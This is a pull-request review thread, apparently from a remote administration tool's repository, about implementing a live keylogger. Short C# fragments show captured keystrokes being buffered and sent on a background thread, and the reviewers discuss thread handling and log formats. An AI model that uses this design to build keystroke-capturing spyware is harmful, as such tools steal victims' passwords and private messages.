Conversation
see todo in FrmKeylogger.cs
|
|
||
| public static void HandleGetKeyloggerLiveResponse(Packets.ServerPackets.GetKeyloggerLive command, Client client) | ||
| { | ||
| new Thread(() => |
There was a problem hiding this comment.
Maybe the thread that runs this should be declared at class-level. Would be nice to make sure that, if this method is called again, we can check if the thread is running and either close it and run a new thread or just let the previous thread continue.
There was a problem hiding this comment.
Thanks for pointing this out, I fixed it in the newest commits. Would you mind taking a look at it and testing how it works?
| { | ||
| new GetKeyloggerLiveResponse(_liveKeyEventBuffer.ToString()).Execute(client); | ||
| _liveKeyEventBuffer.Clear(); | ||
| _liveLoggerThread = new Thread(() => |
There was a problem hiding this comment.
@MaxXor @yankejustin Would we be able to save the thread instance with a pointer to a method here, or is it fine to launch a new thread with an anonymous method each time the EnableLiveLogging method is called?
|
This is practically done for the implementation of the live logger. @MaxXor, what are your thoughts on moving the html format to a text parsing based system? Is that something you would want in the future? |
|
Thanks, but I'll add this after release of v1.3.0.0. :) It's time to fix some bugs. As of now I think the HTML logs are fine, I don't plan moving to another format soon. |
|
Sounds good. I'll do some cleaning up with the keylogger logic and retrieving the logs. The HTML formatted logs are quite hefty in size (nearly double the size of what they could be with an improved system), however migrating to a newer parsed based system might not be viable considering previous logs would have to be accounted for to be formatted properly on the server-side. I'll close this branch/pr for now and reopen it when the time is right. |
3 participants
ref: #492
see todo in FrmKeylogger.cs for possible improvement in keylogger